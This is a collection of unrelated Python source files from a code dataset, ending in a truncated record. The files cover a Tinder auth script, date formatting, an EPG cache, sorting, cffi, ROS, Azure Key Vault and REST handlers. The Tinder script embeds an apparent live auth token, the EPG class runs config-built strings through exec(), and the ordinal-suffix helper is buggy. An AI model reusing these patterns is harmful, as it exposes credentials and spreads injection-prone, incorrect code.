+{"seq_id":"104052727","text":"from urllib.request import urlopen, Request\nimport json\nimport os \n\nblank_header = {\n\t\"platform\": \"android\",\n\t\"User-Agent\": \"Tinder Android Version 4.3.5\",\n\t\"os-version\": 21,\n\t\"app-version\": 833,\n\t\"Accept-Language\": \"en\",\n\t\"Host\": \"api.gotinder.com\",\n\t\"Content-type\": \"application/json\"\n}\nold_header = {\n\t\"platform\": \"android\",\n\t\"If-None-Match\": \"506502669\",\n\t\"User-Agent\": \"Tinder Android Version 4.3.5\",\n\t\"X-Auth-Token\": \"2bfa5ee3-09cf-481b-9b3f-ce01429725cd\",\n\t\"os-version\": 21,\n\t\"app-version\": 833,\n\t\"Accept-Language\": \"en\",\n\t\"Host\": \"api.gotinder.com\",\n\t\"Content-type\": \"application/json\"\n}\n\ndef createTinderRequest():\n\treturn Request('https://api.gotinder.com/auth',\n\t\theaders=blank_header,\n\t\tdata=getFacebookData()\n\t)\n\ndef getFacebookData():\n\theader_file = os.path.join(os.path.dirname(os.path.abspath(__file__)), \"facebook_info.txt\")\n\twith open(header_file, 'r') as f:\n\t\tdata = f.read()\n\t\treturn bytes(data, 'utf-8')\n\ndef getTinderResponse(req):\n\tres = urlopen(req).read().decode('utf-8')\n\treturn json.loads(res)\n\t\ndef prettyPrintTinderResponse(res):\n\tprint(json.dumps(json.loads(res), sort_keys=True, indent=4))\n\ndef printTinderResponseToken(res):\n\tprint(res['token'])\n\ndef makeNewTinderHeaders(header):\n\theader_file = os.path.join(os.path.dirname(os.path.abspath(__file__)), \"headers.txt\")\n\twith open(header_file, 'w') as f:\n\t\tf.write(json.dumps(header, indent=4))\n\nif __name__ == \"__main__\":\n\t# tinder_headers = json.dumps(blank_header)\n\treq = createTinderRequest()\n\tresponse = (getTinderResponse(req))\n\told_header['X-Auth-Token'] = response['token']\n\tmakeNewTinderHeaders(old_header)\n\tprint(response['token'])\n\t\n","sub_path":"auth.py","file_name":"auth.py","file_ext":"py","file_size_in_byte":1624,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"234812949","text":"'''\nThe goal of this challenge is to implement a way of converting\ntwo dates into a more friendly date range that could be presented to a user.\nIt must not show any redundant information in the date range. For example,\nif the year and month are the same in the start and end dates, then only\nthe day range should be displayed. Secondly, if the starting year is the\ncurrent year, and the ending year can be inferred by the reader, the year\nshould be omitted also (see below for examples).\nFormal Inputs and Outputs\nInput Description\n\nThe input will be two dates in the YYYY-MM-DD format, such as:\n\n 2015-07-01 2015-07-04\n 2015-12-01 2016-02-03\n 2015-12-01 2017-02-03\n 2016-03-01 2016-05-05\n 2017-01-01 2017-01-01\n 2022-09-05 2023-09-04\n\nOutput Description\n\nThe program must turn this into a human readable date in the Month Day,\nYear format (omitting the year where possible).\nThese outputs correspond to the above inputs:\n\n July 1st - 4th\n December 1st - February 3rd\n December 1st, 2015 - February 3rd, 2017\n March 1st - May 5th, 2016\n January 1st, 2017\n September 5th, 2022 - September 4th, 2023\n\n'''\n\nimport re\nimport datetime\nfrom datetime import date\n\n\ndef suffix(strng):\n if strng.endswith('1'):\n addition = 'st'\n elif strng.endswith('2') and not strng.endswith('1'):\n addition = 'nd'\n elif strng == '13':\n addition = 'th'\n elif strng.endswith('3'):\n addition = 'rd'\n else:\n addition = 'th'\n return addition\n\nif __name__ == '__main__':\n\n date_store = []\n candidates = '2015-07-01 2015-07-04 \\\n 2016-12-01 2017-02-03 \\\n 2015-12-01 2017-02-03 \\\n 2016-03-01 2016-05-05 \\\n 2017-01-01 2017-01-01 \\\n 2022-09-05 2023-09-04'\n\n # string of candidates to list\n candidates = list(candidates.split())\n\n # calculate the present year for comparison\n now = datetime.datetime.now().year\n\n # extract year, month, and day from each pairs of candidates\n count = 0\n while count < len(candidates):\n for value in candidates:\n year = int(value[0:4])\n month = int(value[5:7])\n day = int(value[8:10])\n\n z = datetime.date(year, month, day)\n\n # convert to readable date\n nice_z = date.strftime(z, '%#B, %#d, %Y')\n\n # split into 'words'\n nice_z = nice_z.split()\n\n # leading zeros to go\n nice_z[1] = nice_z[1].strip(',')\n nice_z[1] = str(int(nice_z[1]))\n\n # commas to go\n stripped_nice_z = ''\n for x in nice_z:\n x = x.strip(',')\n stripped_nice_z = stripped_nice_z + x + ' '\n stripped_nice_z = stripped_nice_z.split()\n\n # add suffix\n add_suffix = suffix(stripped_nice_z[1])\n\n suffixed_nice_z = stripped_nice_z[0] + ' ' + stripped_nice_z[1] + add_suffix + ' ' + stripped_nice_z[2]\n\n date_store.append(suffixed_nice_z)\n count += 1\n\n # extract in pairs and convert to readable year, month, days\n for x in range(0, len(date_store), 2):\n first = date_store[x]\n second = date_store[x+1]\n day = re.findall('\\s\\w+\\s', date_store[x])\n day = day[0]\n month = re.findall('^\\w+', date_store[x])\n month = month[0]\n year = re.findall('\\w+$', date_store[x])\n year = year[0]\n day2 = re.findall('\\s\\w+\\s', date_store[x+1])\n day2 = day2[0]\n month2 = re.findall('^\\w+', date_store[x+1])\n month2 = month2[0]\n year2 = re.findall('\\w+$', date_store[x+1])\n year2 = year2[0]\n\n # print out appropriate format\n if year == str(now) and year2 == str(now):\n print(\"{0}{5}{1}{2}{3}{5}{4}\".format(month, day, '- ', month2, day2, ' '))\n elif first == second:\n print('{0}'.format(first))\n elif year == year2:\n print('{0}{1}{2}{3}'.format(month, day, '- ', second))\n elif year == str(now):\n print('{0}{1}{2}{3}{4}'.format(month, day, '- ',month2, day2))\n else:\n print('{0}{1}{2}'.format(first, '- ', second))","sub_path":"albums/3/challenge205_easy/code.py","file_name":"code.py","file_ext":"py","file_size_in_byte":4139,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"405304500","text":"import os\nimport json\nimport time\nfrom collections import OrderedDict\nfrom multiprocessing import Process\n\nfrom fHDHR.origin import origin_epg\nfrom .epgtypes import blocks, zap2it\n\n\nclass EPG():\n\n def __init__(self, settings, channels):\n self.config = settings\n self.channels = channels\n\n self.origin = origin_epg.originEPG(settings, channels)\n\n self.epg_method_selfadd()\n\n self.epg_method = self.config.dict[\"fhdhr\"][\"epg_method\"]\n if self.epg_method:\n self.sleeptime = self.config.dict[self.epg_method][\"epg_update_frequency\"]\n\n self.epg_cache_file = self.config.dict[\"filedir\"][\"epg_cache\"][self.epg_method][\"epg_json\"]\n\n self.epgtypename = self.epg_method\n if self.epg_method in [self.config.dict[\"main\"][\"dictpopname\"], \"origin\"]:\n self.epgtypename = self.config.dict[\"main\"][\"dictpopname\"]\n\n self.epgscan = Process(target=self.epgServerProcess)\n self.epgscan.start()\n\n def get_epg(self):\n epgdict = None\n if os.path.isfile(self.epg_cache_file):\n with open(self.epg_cache_file, 'r') as epgfile:\n epgdict = json.load(epgfile)\n return epgdict\n\n def get_thumbnail(self, itemtype, itemid):\n if itemtype == \"channel\":\n chandict = self.find_channel_dict(itemid)\n return chandict[\"thumbnail\"]\n elif itemtype == \"content\":\n progdict = self.find_program_dict(itemid)\n return progdict[\"thumbnail\"]\n return None\n\n def find_channel_dict(self, channel_id):\n epgdict = self.get_epg()\n channel_list = []\n for channel in list(epgdict.keys()):\n channel_list.append(epgdict[channel])\n return next(item for item in channel_list if item[\"id\"] == channel_id)\n\n def find_program_dict(self, event_id):\n epgdict = self.get_epg()\n event_list = []\n for channel in list(epgdict.keys()):\n event_list.extend(epgdict[channel][\"listing\"])\n return next(item for item in event_list if item[\"id\"] == event_id)\n\n def epg_method_selfadd(self):\n for method in self.config.dict[\"main\"][\"valid_epg_methods\"]:\n if method not in [None, \"None\", \"origin\", self.config.dict[\"main\"][\"dictpopname\"]]:\n exec(\"%s = %s\" % (\"self.\" + str(method), str(method) + \".\" + str(method) + \"EPG(self.config, self.channels)\"))\n\n def update(self):\n\n print(\"Updating \" + self.epgtypename + \" EPG cache file.\")\n method_to_call = getattr(self, self.epg_method)\n func_to_call = getattr(method_to_call, 'update_epg')\n programguide = func_to_call()\n\n for chan in list(programguide.keys()):\n floatnum = str(float(chan))\n programguide[floatnum] = programguide.pop(chan)\n programguide[floatnum][\"number\"] = floatnum\n\n programguide = OrderedDict(sorted(programguide.items()))\n\n for cnum in programguide:\n programguide[cnum][\"listing\"] = sorted(programguide[cnum][\"listing\"], key=lambda i: i['time_start'])\n\n with open(self.epg_cache_file, 'w') as epgfile:\n epgfile.write(json.dumps(programguide, indent=4))\n print(\"Wrote \" + self.epgtypename + \" EPG cache file.\")\n\n def epgServerProcess(self):\n print(\"Starting EPG thread...\")\n\n try:\n while True:\n self.update()\n time.sleep(self.sleeptime)\n except KeyboardInterrupt:\n pass\n","sub_path":"fHDHR/api/hub/device/epg.py","file_name":"epg.py","file_ext":"py","file_size_in_byte":3518,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"185086541","text":"\"\"\"A Schema consists of a list of Fields which define how to parse an arbitrary dictionary\ninto a list of Links.\"\"\"\nfrom typing import Any, Dict, List\n\nfrom altimeter.core.graph.field.base import Field\nfrom altimeter.core.graph.link.base import Link\n\n\nclass Schema:\n \"\"\"A Schema consists of a list of Fields which define how to parse an arbitrary dictionary\n into a list of :class:`altimeter.core.graph.links.Link`.\n The schema method performs translation to :class:`altimeter.core.graph.links.Link`.\n\n Args:\n fields: fields for this Schema.\n \"\"\"\n\n def __init__(self, *fields: Field) -> None:\n self.fields = fields\n\n def parse(self, data: Dict[str, Any], context: Dict[str, Any]) -> List[Link]:\n \"\"\"Parse this schema into a list of Links\n\n Args:\n data: raw data to parse\n context: contains auxiliary information which can be passed through the parse process.\n\n Returns:\n A list of :class:`altimeter.core.graph.links.Link` .\n \"\"\"\n links: List[Any] = []\n for field in self.fields:\n links += field.parse(data, context)\n return links\n","sub_path":"altimeter/core/graph/schema.py","file_name":"schema.py","file_ext":"py","file_size_in_byte":1158,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"397997304","text":"from collections import defaultdict as ddic\nfrom itertools import combinations, permutations, product\nimport copy\nimport bisect\nimport heapq\nimport sys\n\nrr = lambda: input().strip()\nrri = lambda: int(rr())\nrrm = lambda: list(map(int, rr().split()))\n\n# DEBUG = False\nDEBUG = True\nif DEBUG == True:\n sys.stdin = open(\"test_input.txt\", \"r\")\n sys.stdout = open(\"test_output.txt\", \"w\")\n\n\ndef swap(arr: list, i: int, j: int):\n if i == j:\n return\n print(f\"{arr} {i} {j}\")\n temp = arr[i]\n arr[i] = arr[j]\n arr[j] = temp\n\n\ndef partition(arr: list, low: int, high: int):\n pivot_val = arr[high]\n i = low - 1 # index of number always < pivot_val\n for j in range(low, high):\n if arr[j] < pivot_val:\n # move to index of number >= pivot_val\n i += 1\n # swap number >= pivot_val arr[i] with number < pivot_val arr[j]\n swap(arr, i, j)\n\n pivot_index = i + 1\n swap(arr, pivot_index, high)\n return pivot_index\n\n\ndef helper(arr: list, low: int, high: int):\n if low >= high:\n return\n pivot = partition(arr, low, high)\n helper(arr, low, pivot - 1)\n helper(arr, pivot + 1, high)\n\n\ndef quick_sort(arr: list):\n \"\"\"\n In-place O(1) space\n Average O(nlogn), Worst O(n^2) time\n \"\"\"\n helper(arr, 0, len(arr) - 1)\n return arr\n\n\nTC = rri()\nfor i in range(1, TC + 1):\n arr = rrm()\n quick_sort(arr)\n print(f\"Case #{i}: {arr}\")\n\n\n# 1\n# 4 9 3 5 1\n","sub_path":"04_2020/Sorting/quick_sort.py","file_name":"quick_sort.py","file_ext":"py","file_size_in_byte":1453,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"125868084","text":"from exp_decay import ExponentialDecay\nimport nose.tools as nt\n\ndef test_call():\n\t\"\"\"Test that the call method returns correct derivative for known function.\"\"\"\n\ta = 0.4\n\tut = 3.2\n\tED = ExponentialDecay(a)\n\tderiv = ED(1, ut)\n\tnt.assert_equal(deriv, -1.28)\n\ntest_call()\n\nif __name__ == '__main__':\n\timport nose\n\tnose.run()\n","sub_path":"test_exp_decay.py","file_name":"test_exp_decay.py","file_ext":"py","file_size_in_byte":322,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"94"} +{"seq_id":"539582734","text":"from django.test import TestCase, RequestFactory\n\nfrom factories.indicators_models import IndicatorFactory, IndicatorTypeFactory\nfrom factories.django_models import UserFactory\nfrom factories.workflow_models import TolaUserFactory, ProgramFactory\nfrom indicators.views.views_indicators import IndicatorList\n\n\nclass IndicatorListTests(TestCase):\n\n def setUp(self):\n self.request_factory = RequestFactory()\n self.user = UserFactory(first_name=\"Bobby\",\n last_name=\"Indicator\")\n self.user.tola_user = TolaUserFactory(user=self.user)\n\n def test_get(self):\n\n program = ProgramFactory(funding_status=\"Funded\")\n program.country.add(self.user.tola_user.country)\n program.save()\n for country in program.country.all():\n self.user.tola_user.countries.add(country)\n self.user.tola_user.save()\n self.user.tola_user.save()\n indicator_type = IndicatorTypeFactory()\n indicator = IndicatorFactory(program=program)\n indicator.indicator_type.add(indicator_type)\n\n data = {'program': program.id, 'indicator': indicator.id,\n 'type': indicator_type.id}\n path = \"/indicator_list/{0}/{1}/{2}/\".format(program.id, indicator.id,\n indicator_type.id)\n request = self.request_factory.get(path=path, data=data)\n request.user = self.user\n\n view = IndicatorList.as_view()\n\n result = view(request, **data)\n self.assertIn(program.name, result.content)\n self.assertIn(indicator_type.indicator_type, result.content.decode('utf-8'))\n","sub_path":"indicators/tests/test_indicator_list_view.py","file_name":"test_indicator_list_view.py","file_ext":"py","file_size_in_byte":1654,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"94"} +{"seq_id":"307933623","text":"#!/usr/bin/env python\nfrom __future__ import print_function\nfrom cffi import FFI\nimport os\nimport subprocess\n\ncurrent_dir = os.path.abspath(os.path.dirname(__file__))\ntests_dir = os.path.join(current_dir, 'tests')\n\nsrc_prefix = 'reduce_fn'\nif not os.path.isdir(tests_dir):\n os.makedirs(tests_dir)\nsrc = os.path.join(tests_dir, src_prefix + '.c')\nshared = os.path.join(tests_dir, src_prefix + '.so')\n\nwith open(src, 'w') as f:\n fn = \"\"\"#include \n typedef int(*FnTy)(int, int);\n // int reduce(FnTy fn, int *b, unsigned len){\n int reduce(int(*fn)(int, int), int *b, unsigned len) {\n int sum = 0;\n for(unsigned i = 0; i < len; ++i){\n sum = fn(sum, b[i]);\n }\n // printf(\\\"%d\\\\n\\\", sum);\n return sum;\n }\n \"\"\"\n f.write(fn)\n\nsubprocess.call([\"clang\", \"-fPIC\", \"-shared\", src, \"-o\", shared])\n###\n\nffi = FFI()\n\n\n@ffi.callback(\"int(int, int)\")\ndef add(x, y):\n return x + y\n\nffi.cdef(\"\"\"int reduce(int(*)(int, int), int*, unsigned);\"\"\")\nC = ffi.dlopen(shared)\nl = [1, 2, 3]\nprint(C.reduce(add, l, len(l)))\n","sub_path":"cffi/callbacks.py","file_name":"callbacks.py","file_ext":"py","file_size_in_byte":1048,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"94"} +{"seq_id":"282156805","text":"\"\"\"@summary: Les sorts de cadran de xélor\n\"\"\"\n\nimport Sort\nfrom Effets.EffetDegats import EffetDegats\nfrom Effets.EffetEtat import EffetEtat\nimport Zones\nfrom Etats.EtatBoostCarac import EtatBoostCaracFixe\n\n\ndef getSortsDebutCombat(lvl):\n \"\"\"@summary: charge les sorts de début de combat\n @return: List \n \"\"\"\n # pylint: disable=unused-argument\n sortsDebutCombat = []\n return sortsDebutCombat\n\n\ndef getSorts(lvl):\n \"\"\"@summary: charge les sorts de combat\n @return: List \n \"\"\"\n # pylint: disable=unused-argument\n sorts = []\n sorts.append(Sort.Sort(\"Synchronisation\", 0, 0, 0, 0,\n [\n EffetDegats(100, 130, \"feu\", zone=Zones.TypeZoneCercleSansCentre(4),\n cibles_possibles=\"Ennemis|Lanceur\",\n etat_requis_cibles=\"Telefrag\"),\n EffetEtat(EtatBoostCaracFixe(\"Synchronisation\", 0, 1, \"PA\", 2),\n zone=Zones.TypeZoneCercleSansCentre(4),\n cibles_possibles=\"Allies|Lanceur\",\n etat_requis_cibles=\"Telefrag\")],\n [], 0, 99, 99, 0, 0, \"cercle\", False, chaine=False))\n return sorts\n","sub_path":"Sorts/CadranDeXelor.py","file_name":"CadranDeXelor.py","file_ext":"py","file_size_in_byte":1333,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"94"} +{"seq_id":"6157034","text":"# try-finally语句\n# 语法:\n# try:\n# 可能触发异常的语句\n# finally:\n# 最终语句\n# 说明:\n# finally子句不可以省略\n# 一定不存在except 子句\n# 作用:\n# 通常用try-finally语句来做触发异常时必须要处理的事情,无论\n# 异常是否发生,finally子句都会被执行\n# 注:\n# try-finally语句不会改变程序的正常/异常状态\n\n#此示例以煎鸡蛋的控制程序来示意try_finally语句用应用\n# 场景与作用\ndef fry_egg():\n print(\"打开天然���...\")\n try:\n try:\n count=int(input(\"请输入鸡蛋个数:\"))\n print(\"完成煎鸡蛋,共煎了%d个鸡蛋!\" % count) \n finally:#保证语句一定会执行,做必须要做的事\n print(\"关闭天然气\")#可能会出现问题\n except:\n print(\"煎鸡蛋失败\")\n\nfry_egg()","sub_path":"python3/day14/try_finally.py","file_name":"try_finally.py","file_ext":"py","file_size_in_byte":898,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"94"} +{"seq_id":"353818720","text":"#!/usr/bin/python3\n\nimport rospy\nimport math\nfrom geometry_msgs.msg import Twist\n\npub = rospy.Publisher('/turtle1/cmd_vel', Twist, queue_size=1)\nrospy.init_node('turtle_rare_go_in_a_square', anonymous=False)\nrate = rospy.Rate(1)\nmove = Twist()\ngo_straight = 2*(math.pi)*90/360\nequilateral_angle = 2*(math.pi)*120/360\n\n\ndef triangle():\n\n while not rospy.is_shutdown():\n move.linear.x = 0.0\n move.angular.z = 0.0\n pub.publish(move)\n rate.sleep()\n \n for _ in range(4):\n move.linear.x = go_straight\n move.angular.z = 0.0\n pub.publish(move)\n rate.sleep()\n\n move.linear.x = 0.0\n move.angular.z = equilateral_angle\n pub.publish(move)\n rate.sleep()\n\n break \n\n\nif __name__ == '__main__':\n try:\n triangle()\n except rospy.ROSInterruptException:\n pass \n","sub_path":"triangle.py","file_name":"triangle.py","file_ext":"py","file_size_in_byte":909,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"94"} +{"seq_id":"262248206","text":"# coding=utf-8\n# --------------------------------------------------------------------------\n# Copyright (c) Microsoft Corporation. All rights reserved.\n# Licensed under the MIT License. See License.txt in the project root for license information.\n# Code generated by Microsoft (R) AutoRest Code Generator.\n# Changes may cause incorrect behavior and will be lost if the code is regenerated.\n# --------------------------------------------------------------------------\n\nfrom azure.identity import DefaultAzureCredential\nfrom azure.mgmt.keyvault import KeyVaultManagementClient\n\n\"\"\"\n# PREREQUISITES\n pip install azure-identity\n pip install azure-mgmt-keyvault\n# USAGE\n python managed_hsm_create_or_update.py\n\n Before run the sample, please set the values of the client ID, tenant ID and client secret\n of the AAD application as environment variables: AZURE_CLIENT_ID, AZURE_TENANT_ID,\n AZURE_CLIENT_SECRET. For more info about how to get the value, please see:\n https://docs.microsoft.com/azure/active-directory/develop/howto-create-service-principal-portal\n\"\"\"\n\n\ndef main():\n client = KeyVaultManagementClient(\n credential=DefaultAzureCredential(),\n subscription_id=\"00000000-0000-0000-0000-000000000000\",\n )\n\n response = client.managed_hsms.begin_create_or_update(\n resource_group_name=\"hsm-group\",\n name=\"hsm1\",\n parameters={\n \"location\": \"westus\",\n \"properties\": {\n \"enablePurgeProtection\": False,\n \"enableSoftDelete\": True,\n \"initialAdminObjectIds\": [\"00000000-0000-0000-0000-000000000000\"],\n \"softDeleteRetentionInDays\": 90,\n \"tenantId\": \"00000000-0000-0000-0000-000000000000\",\n },\n \"sku\": {\"family\": \"B\", \"name\": \"Standard_B1\"},\n \"tags\": {\"Dept\": \"hsm\", \"Environment\": \"dogfood\"},\n },\n ).result()\n print(response)\n\n\n# x-ms-original-file: specification/keyvault/resource-manager/Microsoft.KeyVault/stable/2023-02-01/examples/ManagedHsm_CreateOrUpdate.json\nif __name__ == \"__main__\":\n main()\n","sub_path":"sdk/keyvault/azure-mgmt-keyvault/generated_samples/managed_hsm_create_or_update.py","file_name":"managed_hsm_create_or_update.py","file_ext":"py","file_size_in_byte":2105,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"94"} +{"seq_id":"508037831","text":"# -*- coding:utf-8 -*-\n#count 1\ndef count_one(n):\n count=0\n while(n):\n n = n&(n-1)\n count+=1\n return count\n\n\ndef getSum(a, b):\n \"\"\"\n :type a: int\n :type b: int\n :rtype: int\n \"\"\"\n # 32 bits integer max\n MAX = 0x7FFFFFFF\n # 32 bits interger min\n MIN = 0x80000000\n # mask to get last 32 bits\n mask = 0xFFFFFFFF\n while b != 0:\n # ^ get different bits and & gets double 1s, << moves carry\n a, b = (a ^ b) & mask, ((a & b) << 1) & mask\n # if a is negative, get a's 32 bits complement positive first\n # then get 32-bit positive's Python complement negative\n return a if a <= MAX else ~(a ^ mask)\n\n# {} places a variable into a string\n# 0 takes the variable at argument position 0\n# : adds formatting options for this variable (otherwise it would represent decimal 6)\n# 08 zero-padded the number to 8 length\n# b converts the number to its binary representation\n#python get binary string of an integer\ndef reverseBits(n):\n oribin='{0:032b}'.format(n)\n reversebin=oribin[::-1]\n return int(reversebin,2)\n\n# Given a string containing only digits, restore it by returning all possible valid IP address combinations.\n\n# Example:\n#\n# Input: \"25525511135\"\n# Output: [\"255.255.11.135\", \"255.255.111.35\"]\n\nclass Solution(object):\n def restoreIpAddress(self,s):\n '''\n :param s: str\n :return: List[str]\n '''\n ans =[]\n self.helper(ans,s,4,[])\n return ['.'.join(x) for x in ans]\n\n def helper(self,ans,s,k,temp):\n # 比k*3大的话,说明肯定没有找到新的字段,不用做dfs\n if len(s)>k*3:\n return\n # k=0说明四段都已经找齐,是一个我们需要的答案\n if k==0:\n ans.append(temp[:])\n else:\n # 只对三位做dfs,当小于3的时候取最小,满足情况就继续做dfs,不满足就多加一位尝试做dfs,\n # 直到找到满足的才会传到下一层继续dfs\n for i in range(min(3,len(s)-k+1)):\n # 前三位大于255不做dfs(e.g \"25525511135\")或者 \"010010\",不能够成为一个字段\n if i==2 and int(s[:3])>255 or i > 0 and s[0]=='0':\n continue\n self.helper(ans,s[i+1:],k-1,temp+[s[:i+1]])\n\n# Implement pow(x, n), which calculates x raised to the power n (xn).\n#\n# Example 1:\n#\n# Input: 2.00000, 10\n# Output: 1024.00000\n# Example 2:\n#\n# Input: 2.10000, 3\n# Output: 9.26100\n# Example 3:\n#\n# Input: 2.00000, -2\n# Output: 0.25000\n# Explanation: 2-2 = 1/22 = 1/4 = 0.25\n# Note:\n#\n# -100.0 < x < 100.0\n# n is a 32-bit signed integer, within the range [−231, 231 − 1]\n# idea - 一直累积x的值每次扩大2次方倍直到n为奇数才乘,偶数不乘\n\nclass Solution1(object):\n # time complexity is logn\n def myPow(self, x, n):\n \"\"\"\n :type x: float\n :type n: int\n :rtype: float\n \"\"\"\n m=abs(n)\n ans=1.0\n while m:\n # m&1 can be used to check a number which is odd or even\n if m&1:\n ans*=x\n\n x*=x\n m>>=1\n return ans if n>0 else 1/ans\n\n# find the first number and last number\ndef firstDigit(n):\n # Remove last digit from number\n # till only one digit is left\n while n >= 10:\n n = n / 10\n\n # return the first digit\n return int(n)\n\n\n# Find the last digit\ndef lastDigit(n):\n # return the last digit\n return (n % 10)\n\n# Python中的~(按位取反)运算的理解:\n#\n# 按照我平时的理解,当我使用~按位取反运算的时候,计算机会将操作数所对应的二进制表达式的每一个位进行取反计算,取反后所得到的值就是~按位取反的运算结果(这点没问题)\n#\n# 例如,假如我的计算机是32位的,我接下来要计算~5的值,计算过程如下:\n#\n# 5 的二进制表达式为:0000 0000 0000 0000 0000 0000 0000 0101\n#\n# 执行~运算,即~5后: 1111 1111 1111 1111 1111 1111 1111 1010,即结果为-6\n#\n# 以上过程没有任何问题,但我们如果忘记了负数的二进制表达方式,那么就会对这个结果产生疑问,为什么1111 1111 1111 1111 1111 1111 1111 1010表示-6,可能我们会以为它应该表示-10等等,所以,理解~按位取反的另一个关键就是理解1111 1111 1111 1111 1111 1111 1111 1010为什么表示-6,也即理解负数的二进制表达方式。\n#\n# 现在计算机普遍使用补码表示负数。知道一个数的补码,要求其值的方法是:首先看符号位也就是最左的一位,如果是1代表是负数(-)如果是0代码是正数(+),然后对该值取反再+1,得到其源码。\n#\n# 例如本例中得到的 1111 1111 1111 1111 1111 1111 1111 1010,其符号位(最左一位)是1,表明它表示的是负数,欲求其源码,需先对其取反,\n# 然后再加1:0000 0000 0000 0000 0000 0000 0000 0101 + 1 = 0000 0000 0000 0000 0000 0000 0000 0110,\n# 然后在得到的源码前加一个负号,即-0000 0000 0000 0000 0000 0000 0000 0110 = -6。\n# 以上便是对~按位取反运算以及负数的二进制表示的理解,不难发现,在求源码的时候,要将补码进行取反后再加1,\n# 然而这个补码原本就是之前由~运算时,对原来的操作数通过~按位取反而得来的,\n# 所以,此时在求该补码的源码时的取反操作,相当于将补码变回了原来的那个操作数,之后进行的加1操作就相当于对原来的操作数进行加1,\n# 只不过结果变成了他的相反数。\n#\n# 因此,可以总结出~按位取反的计算结论是:~n = -(n+1)\n\n# 例如本例中,~5 = -(5+1),即~5 = -6\n\nif __name__=='__main__':\n print(Solution().restoreIpAddress('25525111135'))\n print(Solution1().myPow(2,4))\n print(firstDigit(999),lastDigit(999))\n print(int(round(20*1.0/3,0)))","sub_path":"Top_Question/bitOperation.py","file_name":"bitOperation.py","file_ext":"py","file_size_in_byte":5972,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"94"} +{"seq_id":"248149538","text":"import flask\n\nimport json\n\nfrom rest_api.RestAPIMethod import RESTResource, GetRESTResource\nfrom couchdb_layer.mcm_database import Database\nfrom model_layer.chained_request import ChainedRequest\nfrom model_layer.request import Request\nfrom tools.user_management import Roles\nfrom tools.locker import locker\n\nimport time\n\n\nclass GetChainedRequest(GetRESTResource):\n\n def __init__(self):\n GetRESTResource.__init__(self, 'chained_requests')\n\n\nclass ChainedRequestPrepidGenerator:\n\n @staticmethod\n def generate_next_id(pwg, campaign, chained_requests_db=None):\n if not chained_requests_db:\n chained_requests_db = Database('chained_requests')\n\n query = 'prepid=%s-%s*' % (pwg, campaign)\n sort = '\\\\prepid'\n requests = chained_requests_db.query(query=query, sort=sort, limit=1)\n if len(requests) > 0:\n number = int(requests[0].get('prepid')[-5:]) + 1\n else:\n number = 1\n\n time.sleep(5)\n return '%s-%s-%05d' % (pwg, campaign, number)\n\n\nclass CreateChainedRequest(RESTResource):\n\n allowed_role = Roles.production_manager\n\n def __init__(self):\n RESTResource.__init__(self)\n self.db_name = 'chained_requests'\n self.before_request()\n\n def put(self):\n \"\"\"\n Create a chained request from the provided JSON. Must contain a root request prepid (attribute name: request)\n and a chained request prepid (attribute name: chained_campaign).\n \"\"\"\n data = flask.request.data\n if not data:\n return self.output_text({'results': False,\n 'message': 'No data was found in request'},\n code=400)\n\n data = json.loads(data.decode('utf-8'))\n chained_campaign_prepid = data.get('chained_campaign')\n if not chained_campaign_prepid:\n return self.output_text({'results': False,\n 'message': 'No chained_campaign found in submitted data'},\n code=400)\n\n root_request_prepid = data.get('request')\n if not root_request_prepid:\n return self.output_text({'results': False,\n 'message': 'No root request found in submitted data'},\n code=400)\n\n requests_db = Database('requests')\n request = requests_db.get(root_request_prepid)\n if not request:\n return self.output_text({'results': False,\n 'message': 'Request \"%s\" does not exist'},\n code=400)\n\n request = Request(json_input=request)\n chained_campaigns_db = Database('chained_campaigns')\n chained_campaign = chained_campaigns_db.get(chained_campaign_prepid)\n if not chained_campaign:\n return self.output_text({'results': False,\n 'message': 'Chained campaign \"%s\" does not exist'},\n code=400)\n\n pwg = request.get('pwg')\n prepid = None\n with locker.lock('create_chained_request_%s_%s' % (pwg, chained_campaign_prepid)):\n chained_requests_db = Database('chained_requests')\n prepid = ChainedRequestPrepidGenerator.generate_next_id(pwg,\n chained_campaign_prepid,\n chained_requests_db)\n chained_request = ChainedRequest()\n chained_request.set('_id', prepid)\n chained_request.set('prepid', prepid)\n chained_request.set('pwg', pwg)\n chained_request.set('member_of_campaign', chained_campaign_prepid)\n chained_request.set('requests', [root_request_prepid])\n chained_request.update_history(None, 'created', prepid)\n if not chained_requests_db.save(chained_request.json()):\n self.logger.error('Could not save chained request \"%s\" to database' % (prepid))\n return self.output_text({'results': False,\n 'message': 'Error saving chained request to database'},\n code=500)\n\n # Add lock to request editing\n request.set('member_of_chain', request.get('member_of_chain') + [prepid])\n if not requests_db.save(request.json()):\n self.logger.error('Could not save request \"%s\" to database' % (root_request_prepid))\n return self.output_text({'results': False,\n 'message': 'Error saving request to database'},\n code=500)\n\n if prepid:\n return self.output_text({'results': prepid, 'message': ''}, code=200)\n else:\n return self.output_text({'results': False, 'message': 'Error acquiring lock for request creation'}, code=500)\n\n\nclass UpdateChainedRequest(RESTResource):\n\n allowed_role = Roles.production_manager\n\n def __init__(self):\n RESTResource.__init__(self)\n self.db_name = 'chained_requests'\n self.before_request()\n\n def put(self):\n \"\"\"\n Update a chained request from the provide json content\n \"\"\"\n return self.output_text({'results': False, 'message': 'Not implemented'}, code=501)\n","sub_path":"rest_api/ChainedRequestActions.py","file_name":"ChainedRequestActions.py","file_ext":"py","file_size_in_byte":5453,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"212695548","text":"from 